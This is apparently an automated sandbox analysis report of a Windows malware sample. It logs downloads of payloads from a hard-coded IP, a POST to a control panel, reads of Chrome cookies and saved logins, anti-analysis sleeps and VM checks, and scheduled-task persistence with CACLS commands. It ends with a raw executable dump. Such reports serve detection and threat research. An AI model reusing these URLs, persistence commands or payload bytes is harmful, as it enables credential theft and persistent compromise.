GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa91a30b registers.esp: 33811796 registers.edi: 33812060 registers.eax: 0 registers.ebp: 33811804 registers.edx: 0 registers.ebx: 33813892 registers.esi: 44700092 registers.ecx: 44707068	1

HTTP traffic contains suspicious features which may be indicative of malware related traffic (5 events)

suspicious_features	POST method with no referer header, POST method with no useragent header, Connection to IP address	suspicious_request	POST http://77.91.68.63/doma/net/index.php
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://77.91.68.63/DSC01491/foto172.exe
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://77.91.68.63/DSC01491/fotod95.exe
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://77.91.68.63/doma/net/Plugins/cred64.dll
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://77.91.68.63/doma/net/Plugins/clip64.dll

Performs some HTTP requests (5 events)

request	POST http://77.91.68.63/doma/net/index.php
request	GET http://77.91.68.63/DSC01491/foto172.exe
request	GET http://77.91.68.63/DSC01491/fotod95.exe
request	GET http://77.91.68.63/doma/net/Plugins/cred64.dll
request	GET http://77.91.68.63/doma/net/Plugins/clip64.dll

Sends data using the HTTP POST Method (1 event)

request

POST http://77.91.68.63/doma/net/index.php

Allocates read-write-execute memory (usually to unpack itself) (50 out of 391 events)

Time & API	Arguments	Status
NtProtectVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 884 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00401000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2092 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74601000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2092 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f51000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2144 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00401000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2144 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f31000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2144 region_size: 786432 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f70000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01ff0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2144 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f22000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2144 region_size: 262144 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007a0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007a0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2144 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73522000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2144 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73e9b000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2144 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72ee1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2144 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72ee2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2144 region_size: 1310720 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02160000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02260000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01da2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01dd5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01ddb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01dd7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01dbc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2144 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73dca000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x048f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01daa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01dca000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01dc7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x048f1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01dc6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2144 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73d4f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2600 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00401000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2600 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f31000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2600 region_size: 1114112 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f90000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2600 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02060000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2600 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f22000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2600 region_size: 2097152 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02360000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2600 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02520000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2600 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72e82000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2600 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73e9b000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2600 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72841000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2600 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72842000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2600 region_size: 1900544 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02560000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2600 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2600 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00662000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2600 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0068c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2600 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7357a000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2600 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02050000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2600 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02051000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2600 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02052000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2600 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02053000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 26, 2023, 7:42 a.m.	process_identifier: 2600 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006a5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

A process attempted to delay the analysis task. (1 event)

description

rugen.exe tried to sleep 142 seconds, actually delayed analysis time by 142 seconds

Queries the disk size which could be used to detect virtual machine with small fixed size or dynamic allocation (12 events)

Time & API	Arguments	Status	Return
GetDiskFreeSpaceW June 26, 2023, 7:42 a.m.	number_of_free_clusters: 2425832 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW June 26, 2023, 7:42 a.m.	number_of_free_clusters: 2425832 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW June 26, 2023, 7:42 a.m.	number_of_free_clusters: 2425715 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW June 26, 2023, 7:42 a.m.	number_of_free_clusters: 2425715 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW June 26, 2023, 7:42 a.m.	number_of_free_clusters: 2424680 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW June 26, 2023, 7:42 a.m.	number_of_free_clusters: 2424680 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW June 26, 2023, 7:42 a.m.	number_of_free_clusters: 2424597 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW June 26, 2023, 7:42 a.m.	number_of_free_clusters: 2424597 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW June 26, 2023, 7:42 a.m.	number_of_free_clusters: 2424226 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW June 26, 2023, 7:42 a.m.	number_of_free_clusters: 2424226 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW June 26, 2023, 7:42 a.m.	number_of_free_clusters: 2424109 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW June 26, 2023, 7:42 a.m.	number_of_free_clusters: 2424109 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1

Steals private information from local Internet browsers (6 events)

file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Web Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local State

Creates executable files on the filesystem (16 events)

file	C:\Users\test22\AppData\Roaming\006700e5a2ab05\cred64.dll
file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\i5403218.exe
file	C:\Users\test22\AppData\Local\Temp\IXP003.TMP\l0176411.exe
file	C:\Users\test22\AppData\Local\Temp\IXP002.TMP\n2577836.exe
file	C:\Users\test22\AppData\Local\Temp\IXP001.TMP\l5946987.exe
file	C:\Users\test22\AppData\Local\Temp\1000028051\fotod95.exe
file	C:\Users\test22\AppData\Roaming\006700e5a2ab05\clip64.dll
file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\x6553546.exe
file	C:\Users\test22\AppData\Local\Temp\1000027051\foto172.exe
file	C:\Users\test22\AppData\Local\Temp\IXP001.TMP\k8985055.exe
file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\n0096414.exe
file	C:\Users\test22\AppData\Local\Temp\IXP002.TMP\y4623841.exe
file	C:\Users\test22\AppData\Local\Temp\IXP001.TMP\f0242658.exe
file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\y2039413.exe
file	C:\Users\test22\AppData\Local\Temp\IXP001.TMP\g5744300.exe
file	C:\Users\test22\AppData\Local\Temp\IXP003.TMP\k9465329.exe

Creates a suspicious process (4 events)

cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN rugen.exe /TR "C:\Users\test22\AppData\Local\Temp\200f691d32\rugen.exe" /F
cmdline	C:\Windows\system32\cmd.exe /S /D /c" echo Y"
cmdline	"C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "rugen.exe" /P "test22:N"&&CACLS "rugen.exe" /P "test22:R" /E&&echo Y\|CACLS "..\200f691d32" /P "test22:N"&&CACLS "..\200f691d32" /P "test22:R" /E&&Exit
cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN rugen.exe /TR "C:\Users\test22\AppData\Local\Temp\200f691d32\rugen.exe" /F

Drops a binary and executes it (2 events)

file	C:\Users\test22\AppData\Local\Temp\1000027051\foto172.exe
file	C:\Users\test22\AppData\Local\Temp\1000028051\fotod95.exe

Drops an executable to the user AppData folder (8 events)

file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\i5403218.exe
file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\x6553546.exe
file	C:\Users\test22\AppData\Local\Temp\1000028051\fotod95.exe
file	C:\Users\test22\AppData\Local\Temp\IXP002.TMP\y4623841.exe
file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\n0096414.exe
file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\y2039413.exe
file	C:\Users\test22\AppData\Roaming\006700e5a2ab05\clip64.dll
file	C:\Users\test22\AppData\Local\Temp\1000027051\foto172.exe

A process created a hidden window (6 events)

Time & API	Arguments	Status	Return
ShellExecuteExW June 26, 2023, 7:42 a.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\200f691d32\rugen.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\200f691d32\rugen.exe	1	1
ShellExecuteExW June 26, 2023, 7:42 a.m.	show_type: 0 filepath_r: SCHTASKS parameters: /Create /SC MINUTE /MO 1 /TN rugen.exe /TR "C:\Users\test22\AppData\Local\Temp\200f691d32\rugen.exe" /F filepath: SCHTASKS	1	1
ShellExecuteExW June 26, 2023, 7:42 a.m.	show_type: 0 filepath_r: cmd parameters: /k echo Y\|CACLS "rugen.exe" /P "test22:N"&&CACLS "rugen.exe" /P "test22:R" /E&&echo Y\|CACLS "..\200f691d32" /P "test22:N"&&CACLS "..\200f691d32" /P "test22:R" /E&&Exit filepath: cmd	1	1
ShellExecuteExW June 26, 2023, 7:42 a.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\1000027051\foto172.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\1000027051\foto172.exe	1	1
ShellExecuteExW June 26, 2023, 7:42 a.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\1000028051\fotod95.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\1000028051\fotod95.exe	1	1
ShellExecuteExW June 26, 2023, 7:43 a.m.	show_type: 0 filepath_r: rundll32.exe parameters: C:\Users\test22\AppData\Roaming\006700e5a2ab05\clip64.dll, Main filepath: rundll32.exe	1	1

An executable file was downloaded by the process rugen.exe (3 events)

Time & API	Arguments	Status	Return
InternetReadFile June 26, 2023, 7:42 a.m.	buffer: MZÿÿ¸@øº´ Í!¸LÍ!This program cannot be run in DOS mode. $º`DÛLDÛLDÛLZLUÛLZLÛLZLnÛLcuL@ÛLÔSLGÛLDÛLÛLM£LEÛLZLEÛLM£LEÛLRichDÛLPELÂdà ÄìAà@àÜPÐ¨/à@.textÂÄ `.rdata.à0È@@.data,´ø@À.rsrc¨Ð@@Uì¸Ju]ÃÌÌÌÌÌÌUìSVWâ³ÁÓMÊËDÁÆ°÷×÷Þ÷ß÷î÷ïæ#÷ÛÁÒãÂÁ¾P÷Þ÷ïêî\÷ÞÁÛSÏG÷×÷Ò÷Þ÷Ö÷Ð÷Û÷ÖÁÂÑØÎÁÊ]÷Ø÷êÏ÷ÖÏÛëÊÁÎÜÆËFÎØO¾â@ÊÁÖú3É3ÿï¾±º¨âT÷Òß(ÁÀKO@÷×÷îG÷×îÁ×7¸ýOÂ»èÁÊ¿¿÷ã7ÃÎÊÁØËÏËC÷ï@ÁÈà%ÞË÷Û÷Þ÷ß÷ÛBÁÀ÷Ú÷ïÁßp÷×ß»¬JÎÏGMÁÈä÷×ÁßRË÷ß÷Ò-ÛÁËrà?Úy÷ÛGÁÈÐ÷Ò÷ÚN÷ÖÁÖé@¾VæW÷ê÷Ø÷ïÁÊøÒÁÛMÎÁÃáÁß]CN÷ÓãûÁÎzÁÂËãî÷Þ÷ê÷ÛÃNGâÁÐÁÛ2÷ÖÁÈ÷ÖÚÛ}ö^þGâö_^[]ÃÌÌUìSVWÃ×ÁÒõÈ[Ï4÷ÖÁÛôÁÚêFØ ê)ÂòÁÞÑÏÃ¯ÏèhÁÏ÷ßÁßg÷ÐÛÁß_ÞþÞºÈÎÁÊ÷ÓBØÁ×xæË÷ï÷ÓOÁË>Û_ÁÂìÁÃvÁÖ÷êÇ[ÆÁNÈJ@÷ßâ3É3ÿÂxÆÊÁÊHÊFÊB-ÉFº÷Ø¾ÁØÁÓk@÷Ð÷î»HC÷ßÎ÷è÷ë÷ê÷è÷ÓÁÂXÁÖ©ÁÀö÷î@Âp÷îÈNãX»g÷è-HÁÎÂÇÏ÷ÓºÂÎêËMFÁÆùOGB÷Ð@÷Û÷ÒÁÈeN÷Ð÷ÛÏJÛCï¬»7Ã÷ëÊJÏFËëÁÖÝOÏÃ¦ÁßÈ7ÁÛò÷Ð÷ïÞ`÷îÀlKÊ¾n÷ë÷ëHË8Â0÷ëÁÊ Æ}ö^þGâö_^[]ÃÌÌÌÌÌÌÌÌÌÌÌÌ ÓrÝrî]^^ö^ÖX^öVN^vùb__ÛVgOgÛOÛ OgtèËOYOÝ\|¬^^^gsÛEÝ\|s^^^Ogggg¤G^^^O7Y^^^ON1^^^gpÛÝÖ^^^gÝ^^^OOygsÓVÕÒÓÒÓ V[ "Õ jÓjÝ&^^êT¦]^^^uQ^^Ûg¦º^^^ÛOgÝ^^^gvgpÛ%ggggoggggOg¤{^^^Ýsq^^^ÛügÛXA^^^gÛ~ggºOgvghxgë3OÓjÓÍ¾^^^ÓÝº^^^Õ ÊÕÆÛáÆ^êRÙÎ`__^^^^sRÓjÓ ÕÉÎ`__ôZö^.^^ÓjÓ ÓÉÎ`___IB~^ÕfÛáÆ^éIÓjÓf#êT¦\^^^uìR^^)Ý{^^^gvgÛxùOs¤ë^^^gsOÌÝt^^^gÝb^^^ggogsÝ¼^^^OggÝÒ^^^ÛãgÛ~MÝsÜ^^^ ¡^^^ÛggorÝ{^^^Rcg.gö^Z^^Ó VÓfvñ@^^ÛRv9d__!¿¼^^é=vEd__!ö^^éT#_;Û{^Û{^#Ù3[vfe__!Pz^^OÙ$]^^vve__!1ý]^OÙj^^^ve__!Î^^OÙ^^^ve__!à^^OÙ¯^^^v¦e__!v{^^OÙÞ^^^v¶e__!_\]^évÂe__!Ìµ^^é>Û{^;öÎ}^ÑÑB___v¾L^^ÑÑB___vL^^+;[_~Ù+Ûn^Ûn^+Ù+;_3Ù[3¦^^^^ö¾}^ÑÑ&___vL^^ÑÑ&___vÑL^^;+öª}^ÑÑ ___v%L^^ÑÑ ___vðL^^#[+Ûk^Ûn^¦^^^^;ÙÙÛk^Ûk^;3;3;_[3Û~^ÙÓÛk^Û~^3ö}^ÑÑî___vM^^ÑÑî___vKL^^ön}^ÑvM^^v½f__!~;]^éCöR\|^ÑÑ^___v´M^^ÑÑ^___vM^^väf__!^^évðf__!pô]^éY3#[++##[Ù3_~3¦^^^^;Û{^ö6\|^ÑÑz`__vM^^ÑÑz`__v×M^^ö\|^Ñºv$M^^vIf__!0^^é5vUf__!B^^éCvag__!B]^éZ[ÓÓ3ÙÎÛk^#ÓjO§ JÓjÑNFÕvÙ~`__^^^^sOÓÉ~`__Û]ÕÉ~`__ÓjO§X%Ñ~`__áÓÉ~`__ó6ÓvÓNN ÓÉ~`__ó6ÓvÓV[NJ ÓÉ~`__ó6ÓvÓf[NR v²C^^ÛRs¿gÝxÞ^^^gZ}¤^^^Qt^^^OgsÝx^^^¨Ûw?gpÛt^^^ÛM¦Ì^^^ûÒgÝsÄ^^^Yk^^^gÛYR^^^gÈÛw³gA¢^^^h j^^^OÛ¤C^^^gsgÝ{^^^aygtÓ jÓf#OÚP]^^ÓjÓ f3 *ÕÉ`__Óf[ÊÕÙ`__Ù`__^^^^ÓÑ`__#ÆOÛ^^^ÓÉ`__Óf[\ÕÙ`__ÓÑ`__Ó 